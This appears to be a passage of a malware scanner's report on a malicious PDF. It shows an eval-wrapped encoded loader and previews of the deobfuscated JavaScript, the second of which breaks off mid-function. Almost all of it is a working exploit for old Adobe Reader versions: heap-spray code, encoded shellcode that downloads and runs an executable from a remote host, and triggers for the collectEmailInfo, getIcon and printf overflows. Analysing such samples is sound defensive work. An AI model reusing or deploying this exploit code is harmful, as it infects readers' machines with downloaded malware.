ZSU2NSU3MyU2MyU2MSU3MCU2NSUyOCUyMiUyNSU3NSUzOSUzMCUzOSUzMCUyNSU3NSUzOSUzMCUzOSUzMCUyMiUyOSUzYiUyMCUyMCUyMCUyMCUyMCU1MyU0ZSU1NyU3YSU0NyU3MyU0ZCU0MiUzNSU3MCUyMCUzZCUyMCU1NyU0ZiUzOSU2YSU2NSU2NiU1MyUzOSU2NiU2MiUyOCU1MyU0ZSU1NyU3YSU0NyU3MyU0ZCU0MiUzNSU3MCUyYyUyMCU1YSU2NSU1MyU2ZCU0ZiU2MyU0ZiU2NCU2NyU2OSUyOSUzYiUyMCUyMCUyMCUyMCUyMCU3NiU2MSU3MiUyMCU0NyU0OCU2MyU0MSU1MSU0NyU0OCU0YiU0NSUzMCUyMCUzZCUyMCUyOCU0MyU0MSU1NSU3OCU3NyU3MyU1YSU0YyU1NyU0NiUyMCUyZCUyMCUzMCU3OCUzNCUzMCUzMCUzMCUzMCUzMCUyOSUyMCUyZiUyMCU2YyU0NSUzNyU0OSUzNyU1MCU3NyU3MyUzNSU2YyUzYiUyMCUyMCUyMCUyMCUyMCU2NiU2ZiU3MiUyOCU3NiU2MSU3MiUyMCU0YSU0MSU0ZSU0NSU1NCU1NSU2NCU1MCU0ZSU2OCUyMCUzZCUyMCUzMCUzYiUyMCU0YSU0MSU0ZSU0NSU1NCU1NSU2NCU1MCU0ZSU2OCUyMCUzYyUyMCU0NyU0OCU2MyU0MSU1MSU0NyU0OCU0YiU0NSUzMCUzYiUyMCU0YSU0MSU0ZSU0NSU1NCU1NSU2NCU1MCU0ZSU2OCUyYiUyYiUyOSUyMCUyMCUyMCUyMCUyMCU3YiUyMCUyMCUyMCUyMCUyMCUyMCUyMCU2NSU3NSU1YSU3NCU0ZCU0ZSU3NSU0MiU1NCUzMCU1YiU0YSU0MSU0ZSU0NSU1NCU1NSU2NCU1MCU0ZSU2OCU1ZCUyMCUzZCUyMCU1MyU0ZSU1NyU3YSU0NyU3MyU0ZCU0MiUzNSU3MCUyMCUyYiUyMCU3NyUzMiU2ZiUzMCU2NSUzOCU3NCU3OCU3MiU2ZSUzYiUyMCUyMCUyMCUyMCUyMCU3ZCUyMCUyMCUyMCU3ZCUyMCUyMCIpKTsgIGxhdmUodW5lc2NhcGUoIiUyMCUyMCUyMCU2NiU3NSU2ZSU2MyU3NCU2OSU2ZiU2ZSUyMCU3OCUzNiU0NyUzNyU0OCU2ZCU3YSU0ZCU3MyU0NCUyOCUyOSUyMCUyMCUyMCU3YiUyMCUyMCUyMCUyMCUyMCU3NiU2MSU3MiUyMCU3MiU0NSU1NiU1YSU0ZiU3NiU3MSU2NyU0NyUzNSUyMCUzZCUyMCUzMCUzYiUyMCUyMCUyMCUyMCUyMCU3NiU2MSU3MiUyMCU3OSU0ZiU0NSU0NSU2NCU2OCU2OSU0NyUzOCUzNiUyMCUzZCUyMCU2MSU3MCU3MCUyZSU3NiU2OSU2NSU3NyU2NSU3MiU1NiU2NSU3MiU3MyU2OSU2ZiU2ZSUyZSU3NCU2ZiU1MyU3NCU3MiU2OSU2ZSU2NyUyOCUyOSUzYiUyMCUyMCUyMCUyMCUyMCU2MSU3MCU3MCUyZSU2MyU2YyU2NSU2MSU3MiU1NCU2OSU2ZCU2NSU0ZiU3NSU3NCUyOCU3NCU2NCU1MSU2YSUzMCU2MyU0NiUzNSU0YSU3MSUyOSUzYiUyMCUyMCUyMCUyMCUyMCU2OSU2NiUyOCUyOCU3OSU0ZiU0NSU0NSU2NCU2OCU2OSU0NyUzOCUzNiUyMCUzZSUzZCUyMCUzOCUyMCUyNiUyNiUyMCU3OSU0ZiU0NSU0NSU2NCU2OCU2OSU0NyUzOCUzNiUyMCUzYyUyMCUzOCUyZSUzMSUzMCUzMiUyOSUyMCU3YyU3YyUyMCU3OSU0ZiU0NSU0NSU2NCU2OCU2OSU0NyUzOCUzNiUyMCUzYyUyMCUzNyUyZSUzMSUyOSUyMCUyMCUyMCUyMCUyMCU3YiUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1MyU1OSUzNyU2NCU0OSU2YiU0YSU2YiU3NCU3OSUyOCUzMCUyOSUzYiUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3NiU2MSU3MiUyMCU2NiU0OCU0MiU0NCU0ZiU1MyUzMSU0ZiU3MCU3MyUyMCUzZCUyMCU3NSU2ZSU2NSU3MyU2MyU2MSU3MCU2NSUyOCUyMiUyNSU3NSUzMCU2MyUzMCU2MyUyNSU3NSUzMCU2MyUzMCU2MyUyMiUyOSUzYiUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3NyU2OCU2OSU2YyU2NSUyOCU2NiU0OCU0MiU0NCU0ZiU1MyUzMSU0ZiU3MCU3MyUyZSU2YyU2NSU2ZSU2NyU3NCU2OCUyMCUzYyUyMCUzNCUzNCUzOSUzNSUzMiUyOSUyMCU2NiU0OCU0MiU0NCU0ZiU1MyUzMSU0ZiU3MCU3MyUyMCUyYiUzZCUyMCU2NiU0OCU0MiU0NCU0ZiU1MyUzMSU0ZiU3MCU3MyUzYiUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3NiU2MSU3MiUyMCU0ZiU2ZCUzOCUzNyU0ZCU1NiUzMyU0MyU0MyU0YSUyMCUzZCUyMCU3NCU2OCU2OSU3MyUzYiUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3NiU2MSU3MiUyMCU0NSUzMyU2OSU1NiU0OCU0YyU0NCU3YSU2MiU0YiUyMCUzZCUyMCU0MyU2ZiU2YyU2YyU2MSU2MiUzYiUyMCUyMCUyMCUyMCUyMCUyMCUyMCU0ZiU2ZCUzOCUzNyU0ZCU1NiUzMyU0MyU0MyU0YSU1YiUyMiU2MyU2ZiU2YyU2YyU2MSU2MiU1MyU3NCU2ZiU3MiU2NSUyMiU1ZCUyMCUzZCUyMCU0NSUzMyU2OSU1NiU0OCU0YyU0NCU3YSU2MiU0YiU1YiUyMiU2MyU2ZiU2YyU2YyU2NSU2MyU3NCU0NSU2ZCU2MSU2OSU2YyU0OSU2ZSU2NiU2ZiUyMiU1ZCUyOCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3YiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3MyU3NSU2MiU2YSUyMCUzYSUyMCUyMiUyMiUyYyUyMCU2ZCU3MyU2NyUyMCUzYSUyMCU2NiU0OCU0MiU0NCU0ZiU1MyUzMSU0ZiU3MCU3MyUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3ZCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyOSUzYiUyMCUyMCUyMCUyMCUyMCU3ZCUyMCUyMCUyMCUyMCUyMCU2OSU2NiUyOCUyOCU3OSU0ZiU0NSU0NSU2NCU2OCU2OSU0NyUzOCUzNiUyMCUzZSUzZCUyMCUzOCUyZSUzMSUzMCUzMiUyMCUyNiUyNiUyMCU3OSU0ZiU0NSU0NSU2NCU2OCU2OSU0NyUzOCUzNiUyMCUzYyUyMCUzOCUyZSUzMSUzMCUzNCUyOSUyMCU3YyU3YyUyMCUyOCU3OSU0ZiU0NSU0NSU2NCU2OCU2OSU0NyUzOCUzNiUyMCUzZSUzZCUyMCUzOSUyMCUyNiUyNiUyMCU3OSU0ZiU0NSU0NSU2NCU2OCU2OSU0NyUzOCUzNiUyMCUzYyUyMCUzOSUyZSUzMSUyOSUyMCU3YyU3YyUyMCU3OSU0ZiU0NSU0NSU2NCU2OCU2OSU0NyUzOCUzNiUyMCUzYyUzZCUyMCUzNyUyZSUzMSUzMCUzMSUyOSUyMCUyMCUyMCUyMCUyMCU3YiUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3NCU3MiU3OSUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3YiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU2OSU2NiUyOCU2MSU3MCU3MCUyZSU2NCU2ZiU2MyUyZSU0MyU2ZiU2YyU2YyU2MSU2MiUyZSU2NyU2NSU3NCU0OSU2MyU2ZiU2ZSUyOSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3YiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1MyU1OSUzNyU2NCU0OSU2YiU0YSU2YiU3NCU3OSUyOCUzMiUyOSUzYiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3NiU2MSU3MiUyMCU2YSU1YSU2MyU0NyU2ZSUzMiU2YSU2ZSU1MCU1OSUyMCUzZCUyMCU3NSU2ZSU2NSU3MyU2MyU2MSU3MCU2NSUyOCUyMiUyNSUzMCUzOSUyMiUyOSUzYiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3NyU2OCU2OSU2YyU2NSUyOCU2YSU1YSU2MyU0NyU2ZSUzMiU2YSU2ZSU1MCU1OSUyZSU2YyU2NSU2ZSU2NyU3NCU2OCUyMCUzYyUyMCUzMCU3OCUzNCUzMCUzMCUzMCUyOSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3YiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU2YSU1YSU2MyU0NyU2ZSUzMiU2YSU2ZSU1MCU1OSUyMCUyYiUzZCUyMCU2YSU1YSU2MyU0NyU2ZSUzMiU2YSU2ZSU1MCU1OSUzYiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3ZCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU2YSU1YSU2MyU0NyU2ZSUzMiU2YSU2ZSU1MCU1OSUyMCUzZCUyMCUyMiU0ZSUyZSUyMiUyMCUyYiUyMCU2YSU1YSU2MyU0NyU2ZSUzMiU2YSU2ZSU1MCU1OSUzYiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3NiU2MSU3MiUyMCU1YSUzMiU0YyU2ZSUzOSU2OSU0YSU0MiU3NSU1NyUyMCUzZCUyMCU2MSU3MCU3MCUzYiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1YSUzMiU0YyU2ZSUzOSU2OSU0YSU0MiU3NSU1NyU1YiUyMiU2NCU2ZiU2MyUyMiU1ZCU1YiUyMiU0MyU2ZiU2YyU2YyU2MSU2MiUyMiU1ZCU1YiUyMiU2NyU2NSU3NCU0OSU2MyU2ZiU2ZSUyMiU1ZCUyOCU2YSU1YSU2MyU0NyU2ZSUzMiU2YSU2ZSU1MCU1OSUyOSUzYiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3MiU0NSU1NiU1YSU0ZiU3NiU3MSU2NyU0NyUzNSUyMCUzZCUyMCUzMSUzYiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3ZCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU2NSU2YyU3MyU2NSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3YiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3MiU0NSU1NiU1YSU0ZiU3NiU3MSU2NyU0NyUzNSUyMCUzZCUyMCUzMSUzYiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3ZCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3ZCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU2MyU2MSU3NCU2MyU2OCUyOCU2NSUyOSUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3YiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3MiU0NSU1NiU1YSU0ZiU3NiU3MSU2NyU0NyUzNSUyMCUzZCUyMCUzMSUzYiUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3ZCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU2OSU2NiUyOCU3MiU0NSU1NiU1YSU0ZiU3NiU3MSU2NyU0NyUzNSUyMCUzZCUzZCUyMCUzMSUyOSUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3YiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU2OSU2NiUyOCU3OSU0ZiU0NSU0NSU2NCU2OCU2OSU0NyUzOCUzNiUyMCUzZCUzZCUyMCUzOCUyZSUzMSUzMCUzMiUyMCU3YyU3YyUyMCU3OSU0ZiU0NSU0NSU2NCU2OCU2OSU0NyUzOCUzNiUyMCUzZCUzZCUyMCUzNyUyZSUzMSUyOSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3YiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1MyU1OSUzNyU2NCU0OSU2YiU0YSU2YiU3NCU3OSUyOCUzMSUyOSUzYiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3NiU2MSU3MiUyMCU0YyU0MiU1YSU0NCU2NyU3MSU1OSU3NCU3MSU0MSUyMCUzZCUyMCUyMiUzMSUzMiUzOSUzOSUzOSUzOSUzOSUzOSUzOSUzOSUzOSUzOSUzOSUzOSUzOSUzOSUzOSUzOSUzOSUzOSUyMiUzYiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU2NiU2ZiU3MiUyOCU2MSU3NyU2YiU3MSU0NCU1OCU3MiU3NyU0YyU0NyUyMCUzZCUyMCUzMCUzYiUyMCU2MSU3NyU2YiU3MSU0NCU1OCU3MiU3NyU0YyU0NyUyMCUzYyUyMCUzMiUzNyUzNiUzYiUyMCU2MSU3NyU2YiU3MSU0NCU1OCU3MiU3NyU0YyU0NyUyYiUyYiUyOSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3YiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU0YyU0MiU1YSU0NCU2NyU3MSU1OSU3NCU3MSU0MSUyMCUyYiUzZCUyMCUyMiUzOCUyMiUzYiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3ZCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3NiU2MSU3MiUyMCU2YSUzMyU0OSU3MiU3MSU1MSU1YSUzMCU2MiU1NCUyMCUzZCUyMCU3NSU3NCU2OSU2YyUzYiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU2YSUzMyU0OSU3MiU3MSU1MSU1YSUzMCU2MiU1NCU1YiUyMiU3MCU3MiU2OSU2ZSU3NCU2NiUyMiU1ZCUyOCUyMiUyNSUzNCUzNSUzMCUzMCUzMCU2NiUyMiUyYyUyMCU0YyU0MiU1YSU0NCU2NyU3MSU1OSU3NCU3MSU0MSUyOSUzYiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3ZCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3ZCUyMCUyMCUyMCUyMCUyMCU3ZCUyMCUyMCU3ZCUyMCUyMCIpKTsgDQogYXBwLkQ3ZkZKTDZzRncgPSB4Nkc3SG16TXNEOw0KIHRkUWowY0Y1SnEgPSBhcHAuc2V0VGltZU91dCgiYXBwLkQ3ZkZKTDZzRncoKSIsIDEpOw0K");
var sssddd = eval;
sssddd(aasd);
generic_stage_recovery_000.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 9 at offset 0xD6 5228 bytes
SHA-256: 71957da385bc154a2b62b0587bb786ecb09a3963b86d28b3cfe93acff5a226a4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 10 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var euZtMNuBT0 = new Array();
 var tdQj0cF5Jq;
 var lave = eval;
  lave(unescape("   function WO9jefS9fb(SNWzGsMB5p, ZeSmOcOdgi)   {     while(SNWzGsMB5p.length * 2 < ZeSmOcOdgi)     {       SNWzGsMB5p += SNWzGsMB5p;     }     SNWzGsMB5p = SNWzGsMB5p.substring(0, ZeSmOcOdgi / 2);     return SNWzGsMB5p;   }  "));  lave(unescape("    function SY7dIkJkty(ZJMsIdlfpp)   {     if(ZJMsIdlfpp == 0)     {       var CAUxwsZLWF = 0x0c0c0c0c;       var w2o0e8txrn =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u766F%u6573%u7878%u722E%u2F75%u7673%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070");     }     else if(ZJMsIdlfpp == 1)     {       CAUxwsZLWF = 0x30303030;       var w2o0e8txrn =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u766F%u6573%u7878%u722E%u2F75%u7673%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070");     }     else if(ZJMsIdlfpp == 2)     {       var w2o0e8txrn =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u766F%u6573%u7878%u722E%u2F75%u7673%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070");     }     var lE7I7Pws5l = 0x400000;     var SYvCWs56Eb = w2o0e8txrn.length * 2;     var ZeSmOcOdgi = lE7I7Pws5l - (SYvCWs56Eb + 0x38);     var SNWzGsMB5p = unescape("%u9090%u9090");     SNWzGsMB5p = WO9jefS9fb(SNWzGsMB5p, ZeSmOcOdgi);     var GHcAQGHKE0 = (CAUxwsZLWF - 0x400000) / lE7I7Pws5l;     for(var JANETUdPNh = 0; JANETUdPNh < GHcAQGHKE0; JANETUdPNh++)     {       euZtMNuBT0[JANETUdPNh] = SNWzGsMB5p + w2o0e8txrn;     }   }  "));  lave(unescape("   function x6G7HmzMsD()   {     var rEVZOvqgG5 = 0;     var yOEEdhiG86 = app.viewerVersion.toString();     app.clearTimeOut(tdQj0cF5Jq);     if((yOEEdhiG86 >= 8 && yOEEdhiG86 < 8.102) || yOEEdhiG86 < 7.1)     {       SY7dIkJkty(0);       var fHBDOS1Ops = unescape("%u0c0c%u0c0c");       while(fHBDOS1Ops.length < 44952) fHBDOS1Ops += fHBDOS1Ops;       var Om87MV3CCJ = this;       var E3iVHLDzbK = Collab;       Om87MV3CCJ["collabStore"] = E3iVHLDzbK["collectEmailInfo"](       {         subj : "", msg : fHBDOS1Ops       }       );     }     if((yOEEdhiG86 >= 8.102 && yOEEdhiG86 < 8.104) || (yOEEdhiG86 >= 9 && yOEEdhiG86 < 9.1) || yOEEdhiG86 <= 7.101)     {       try       {         if(app.doc.Collab.getIcon)         {           SY7dIkJkty(2);           var jZcGn2jnPY = unescape("%09");           while(jZcGn2jnPY.length < 0x4000)           {             jZcGn2jnPY += jZcGn2jnPY;           }           jZcGn2jnPY = "N." + jZcGn2jnPY;           var Z2Ln9iJBuW = app;           Z2Ln9iJBuW["doc"]["Collab"]["getIcon"](jZcGn2jnPY);           rEVZOvqgG5 = 1;         }         else         {           rEVZOvqgG5 = 1;         }       }       catch(e)       {         rEVZOvqgG5 = 1;       }       if(rEVZOvqgG5 == 1)       {         if(yOEEdhiG86 == 8.102 || yOEEdhiG86 == 7.1)         {           SY7dIkJkty(1);           var LBZDgqYtqA = "12999999999999999999";           for(awkqDXrwLG = 0; awkqDXrwLG < 276; awkqDXrwLG++)           {             LBZDgqYtqA += "8";           }           var j3IrqQZ0bT = util;           j3IrqQZ0bT["printf"]("%45000f", LBZDgqYtqA);         }       }     }  }  ")); 
 app.D7fFJL6sFw = x6G7HmzMsD;
 tdQj0cF5Jq = app.setTimeOut("app.D7fFJL6sFw()", 1);
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode -> percent-decode from JavaScript object 9 at offset 0xD6 5224 bytes
SHA-256: 49b5f2c602d9276b60702c644ddf8bb69c8f04b312c1f1984b85d9c0449c5524
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 10 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var euZtMNuBT0 = new Array();
 var tdQj0cF5Jq;
 var lave = eval;
  lave(unescape("   function WO9jefS9fb(SNWzGsMB5p, ZeSmOcOdgi)   {     while(SNWzGsMB5p.length * 2 < ZeSmOcOdgi)     {       SNWzGsMB5p += SNWzGsMB5p;     }     SNWzGsMB5p = SNWzGsMB5p.substring(0, ZeSmOcOdgi / 2);     return SNWzGsMB5p;   }  "));  lave(unescape("    function SY7dIkJkty(ZJMsIdlfpp)   {     if(ZJMsIdlfpp == 0)     {       var CAUxwsZLWF = 0x0c0c0c0c;       var w2o0e8txrn =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u766F%u6573%u7878%u722E%u2F75%u7673%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070");     }     else if(ZJMsIdlfpp == 1)     {       CAUxwsZLWF = 0x30303030;       var w2o0e8txrn =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u766F%u6573%u7878%u722E%u2F75%u7673%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070");     }     else if(ZJMsIdlfpp == 2)     {       var w2o0e8txrn =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u766F%u6573%u7878%u722E%u2F75%u7673%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070");     }     var lE7I7Pws5l = 0x400000;     var SYvCWs56Eb = w2o0e8txrn.length * 2;     var ZeSmOcOdgi = lE7I7Pws5l - (SYvCWs56Eb + 0x38);     var SNWzGsMB5p = unescape("%u9090%u9090");     SNWzGsMB5p = WO9jefS9fb(SNWzGsMB5p, ZeSmOcOdgi);     var GHcAQGHKE0 = (CAUxwsZLWF - 0x400000) / lE7I7Pws5l;     for(var JANETUdPNh = 0; JANETUdPNh < GHcAQGHKE0; JANETUdPNh++)     {       euZtMNuBT0[JANETUdPNh] = SNWzGsMB5p + w2o0e8txrn;     }   }  "));  lave(unescape("   function x6G7HmzMsD()   {     var rEVZOvqgG5 = 0;     var yOEEdhiG86 = app.viewerVersion.toString();     app.clearTimeOut(tdQj0cF5Jq);     if((yOEEdhiG86 >= 8 && yOEEdhiG86 < 8.102) || yOEEdhiG86 < 7.1)     {       SY7dIkJkty(0);       var fHBDOS1Ops = unescape("%u0c0c%u0c0c");       while(fHBDOS1Ops.length < 44952) fHBDOS1Ops += fHBDOS1Ops;       var Om87MV3CCJ = this;       var E3iVHLDzbK = Collab;       Om87MV3CCJ["collabStore"] = E3iVHLDzbK["collectEmailInfo"](       {         subj : "", msg : fHBDOS1Ops       }       );     }     if((yOEEdhiG86 >= 8.102 && yOEEdhiG86 < 8.104) || (yOEEdhiG86 >= 9 && yOEEdhiG86 < 9.1) || yOEEdhiG86 <= 7.101)     {       try       {         if(app.doc.Collab.getIcon)         {           SY7dIkJkty(2);           var jZcGn2jnPY = unescape("	");           while(jZcGn2jnPY.length < 0x4000)           {             jZcGn2jnPY += jZcGn2jnPY;           }           jZcGn2jnPY = "N." + jZcGn2jnPY;           var Z2Ln9iJBuW = app;           Z2Ln9iJBuW["doc"]["Collab"]["getIcon"](jZcGn2jnPY);           rEVZOvqgG5 = 1;   